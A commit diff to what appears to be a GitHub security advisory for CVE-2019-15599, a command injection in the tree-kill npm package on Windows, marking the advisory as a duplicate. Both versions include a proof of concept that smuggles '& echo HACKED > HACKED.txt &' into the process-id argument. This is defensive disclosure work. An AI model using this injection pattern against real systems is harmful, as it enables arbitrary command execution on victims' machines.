Publish GHSA-mxq6-vrrr-ppmg

This commit is contained in:
advisory-database[bot]
2023-11-08 18:35:02 +00:00
parent bd49eefd05
commit fec1b332c5
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-mxq6-vrrr-ppmg",
"modified": "2023-10-19T18:39:48Z",
"modified": "2023-11-08T18:33:39Z",
"published": "2022-05-24T17:04:00Z",
"aliases": [
"CVE-2019-15599"
],
"summary": "tree-kill vulnerable to remote code execution",
"details": "A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the `+` operand to concatenate the input into `exec()`\n\n### Steps To Reproduce:\n\nCreate the following PoC file:\n\n```js\n// poc.js\nvar kill = require('tree-kill');\nkill('3333332 & echo \"HACKED\" > HACKED.txt & ');\n```\nExecute the following commands in another terminal:\n\n```bash\nnpm i tree-kill # Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js # Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nA new file called `HACKED.txt` will be created, containing the `HACKED` string.",
"summary": "Duplicate Advisory: tree-kill vulnerable to remote code execution",
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.\n\n## Original Description\nA Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: `https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20` . While the Linux part is sanitized, the Windows on simply uses the `+` operand to concatenate the input into `exec()`\n\n### Steps To Reproduce:\n\nCreate the following PoC file:\n\n```js\n// poc.js\nvar kill = require('tree-kill');\nkill('3333332 & echo \"HACKED\" > HACKED.txt & ');\n```\nExecute the following commands in another terminal:\n\n```bash\nnpm i tree-kill # Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js # Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nA new file called `HACKED.txt` will be created, containing the `HACKED` string.",
"severity": [
{
"type": "CVSS_V3",
@@ -40,6 +40,10 @@
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15599"
},
{
"type": "WEB",
"url": "https://github.com/pkrumins/node-tree-kill/commit/deee138a8cbc918463d8af5ce8c2bec33c3fd164"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/701183"
@@ -47,6 +51,10 @@
{
"type": "PACKAGE",
"url": "https://github.com/pkrumins/node-tree-kill"
},
{
"type": "WEB",
"url": "https://github.com/pkrumins/node-tree-kill/releases/tag/v1.2.2"
}
],
"database_specific": {